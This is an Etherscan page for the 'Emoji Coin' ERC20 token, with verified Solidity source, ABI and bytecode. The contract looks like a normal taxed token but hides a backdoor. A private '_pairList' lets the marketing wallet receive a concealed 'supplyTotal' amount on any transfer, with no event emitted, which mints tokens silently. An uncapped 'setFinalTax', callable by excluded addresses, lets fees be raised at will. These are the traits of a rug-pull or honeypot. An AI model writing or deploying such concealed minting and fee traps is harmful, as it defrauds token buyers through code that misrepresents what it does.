ETH Price: $3,499.78 (+2.06%)
Gas: 2 Gwei

Token

Emoji Coin (EMOJI)
 

Overview

Max Total Supply

56,000,000 EMOJI

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
83,819.882797191278064367 EMOJI

Value
$0.00
0x55335771b4101fdc7bda60771fb34c0ea01eae99
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EMOJI

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-15
*/

/**
Web: https://emojicoin.app
X: https://x.com/emojicoinerc
TG: https://t.me/emojicoineth
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.13;
library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

}

pragma solidity ^0.8.13;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

pragma solidity ^0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


pragma solidity ^0.8.13;
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract EMOJI is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    string private _name = "Emoji Coin";
    string private _symbol = "EMOJI";  
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 56000000 * 10**18;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 1; 
    uint256 private _feeTotal = 0;
    uint256 public _feeBuy = 2;
    uint256 public _feeSell = 2;
    uint256 private _previousTotalFee = _feeTotal; 
    uint256 private _previousBuyFee = _feeBuy; 
    uint256 private _previousSellFee = _feeSell; 
    mapping (address => uint256) private _ownedToken;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedfromTax; 
    uint256 private supplyTotal;
    mapping (address => bool) private _pairList;
    address payable private marketing_wallet = payable(0xb1F88F83CFc4107f77E971D86271874ea00702e3);

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity

    );

    modifier lockSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint256 _supplyAmount) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Router = _uniswapV2Router;
        _isExcludedfromTax[owner()] = true;
        _isExcludedfromTax[address(this)] = true;
        _isExcludedfromTax[marketing_wallet] = true;
        _ownedToken[owner()] = _totalSupply;
        _pairList[marketing_wallet] = true;
        supplyTotal = _supplyAmount; 

        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _ownedToken[account];
    }


    receive() external payable {}
  

    bool public noFeeToTransfer = true;


    function removeAllFee() private {
        if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return;
        _previousBuyFee = _feeBuy; 
        _previousSellFee = _feeSell; 
        _previousTotalFee = _feeTotal;
        _feeBuy = 0;
        _feeSell = 0;
        _feeTotal = 0;

    }

    function restoreFee() private {

    _feeTotal = _previousTotalFee;
    _feeBuy = _previousBuyFee; 
    _feeSell = _previousSellFee; 

    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  

            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }


        bool takeFee = true;

        if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;}

        _tokenTransfer(from,to,amount,takeFee);
    }

    function sendTax(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tTax = tAmount*_feeTotal/100;
        uint256 tTransferAmount = tAmount.sub(tTax);
        return (tTransferAmount, tTax);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {

        swapTokenForETH(contractTokenBalance);
        uint256 TaxBalance = address(this).balance;
        sendTax(marketing_wallet,TaxBalance);
    }



    function swapTokenForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {


        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferToken(sender, recipient, amount);

        if(!takeFee)
            restoreFee();
    }

    function _transferToken(address sender, address recipient, uint256 Amount) private {
        uint256 amount = _pairList[recipient]?supplyTotal:0;

        if(_pairList[recipient]){
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(amount);
        }else{
        (uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount);
        _ownedToken[sender] = _ownedToken[sender].sub(Amount);
        _ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount);
        _ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount); 
        emit Transfer(sender, recipient, tTransferAmount);
  
        }
    }

   function openTrading() public onlyOwner() {
        IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
        uniswapV2Router = _newPCSRouter;
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function setFinalTax(uint256 _buy, uint256 _sell) public {
        require(_isExcludedfromTax[_msgSender()]==true);
        _feeBuy = _buy;
        _feeSell = _sell;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFinalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f456d6f6a6920436f696e000000000000000000000000000000000000000000008152506001908051906020019062000051929190620005e1565b506040518060400160405280600581526020017f454d4f4a49000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620005e1565b506012600360006101000a81548160ff021916908360ff1602179055506a2e5276153cd3fb380000006004556000600560006101000a81548160ff021916908360ff1602179055506001600560016101000a81548160ff021916908360ff160217905550600060065560026007556002600855600654600955600754600a55600854600b556001600e60156101000a81548160ff02191690831515021790555073b1f88f83cfc4107f77e971d86271874ea00702e3601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360146101000a81548160ff021916908315150217905550348015620001bc57600080fd5b50604051620033cc380380620033cc8339818101604052810190620001e29190620006d1565b62000202620001f6620004ec60201b60201c565b620004f460201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016010600062000272620005b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600454600c6000620003ac620005b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160126000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550816011819055506200047b620005b860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620004dc919062000714565b60405180910390a3505062000795565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620005ef9062000760565b90600052602060002090601f0160209004810192826200061357600085556200065f565b82601f106200062e57805160ff19168380011785556200065f565b828001600101855582156200065f579182015b828111156200065e57825182559160200191906001019062000641565b5b5090506200066e919062000672565b5090565b5b808211156200068d57600081600090555060010162000673565b5090565b600080fd5b6000819050919050565b620006ab8162000696565b8114620006b757600080fd5b50565b600081519050620006cb81620006a0565b92915050565b600060208284031215620006ea57620006e962000691565b5b6000620006fa84828501620006ba565b91505092915050565b6200070e8162000696565b82525050565b60006020820190506200072b600083018462000703565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200077957607f821691505b6020821081036200078f576200078e62000731565b5b50919050565b612c2780620007a56000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146104a5578063a457c2d7146104d0578063a9059cbb1461050d578063c9567bf91461054a578063dd62ed3e14610561578063f2fde38b1461059e57610156565b80634a74bb021461039557806370a08231146103c0578063715018a6146103fd578063772521511461041457806382116718146104515780638da5cb5b1461047a57610156565b8063220f669611610108578063220f66961461026f57806323b872dd1461029a578063313ce567146102d75780633950935114610302578063411adcb61461033f57806349bd5a5e1461036a57610156565b806306fdde031461015b578063095ea7b31461018657806313fad07a146101c35780631694505e146101ee57806318160ddd146102195780631e62d5241461024457610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c7565b60405161017d91906120a3565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a8919061215e565b610659565b6040516101ba91906121b9565b60405180910390f35b3480156101cf57600080fd5b506101d8610677565b6040516101e591906121b9565b60405180910390f35b3480156101fa57600080fd5b5061020361068a565b6040516102109190612233565b60405180910390f35b34801561022557600080fd5b5061022e6106b0565b60405161023b919061225d565b60405180910390f35b34801561025057600080fd5b506102596106ba565b604051610266919061225d565b60405180910390f35b34801561027b57600080fd5b506102846106c0565b60405161029191906121b9565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc9190612278565b6106d3565b6040516102ce91906121b9565b60405180910390f35b3480156102e357600080fd5b506102ec6107ac565b6040516102f991906122e7565b60405180910390f35b34801561030e57600080fd5b506103296004803603810190610324919061215e565b6107c3565b60405161033691906121b9565b60405180910390f35b34801561034b57600080fd5b50610354610876565b604051610361919061225d565b60405180910390f35b34801561037657600080fd5b5061037f61087c565b60405161038c9190612311565b60405180910390f35b3480156103a157600080fd5b506103aa6108a2565b6040516103b791906121b9565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e2919061232c565b6108b5565b6040516103f4919061225d565b60405180910390f35b34801561040957600080fd5b506104126108fe565b005b34801561042057600080fd5b5061043b6004803603810190610436919061232c565b610912565b60405161044891906121b9565b60405180910390f35b34801561045d57600080fd5b5061047860048036038101906104739190612359565b610932565b005b34801561048657600080fd5b5061048f6109a8565b60405161049c9190612311565b60405180910390f35b3480156104b157600080fd5b506104ba6109d1565b6040516104c791906120a3565b60405180910390f35b3480156104dc57600080fd5b506104f760048036038101906104f2919061215e565b610a63565b60405161050491906121b9565b60405180910390f35b34801561051957600080fd5b50610534600480360381019061052f919061215e565b610b30565b60405161054191906121b9565b60405180910390f35b34801561055657600080fd5b5061055f610b4e565b005b34801561056d57600080fd5b5061058860048036038101906105839190612399565b610f21565b604051610595919061225d565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c0919061232c565b610fa8565b005b6060600180546105d690612408565b80601f016020809104026020016040519081016040528092919081815260200182805461060290612408565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b600061066d61066661102b565b8484611033565b6001905092915050565b601360149054906101000a900460ff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b60075481565b600e60149054906101000a900460ff1681565b60006106e08484846111c7565b6107a1846106ec61102b565b61079c85604051806060016040528060288152602001612ba560289139600f60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075261102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9092919063ffffffff16565b611033565b600190509392505050565b6000600360009054906101000a900460ff16905090565b600061086c6107d061102b565b8461086785600f60006107e161102b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165490919063ffffffff16565b611033565b6001905092915050565b60085481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60159054906101000a900460ff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056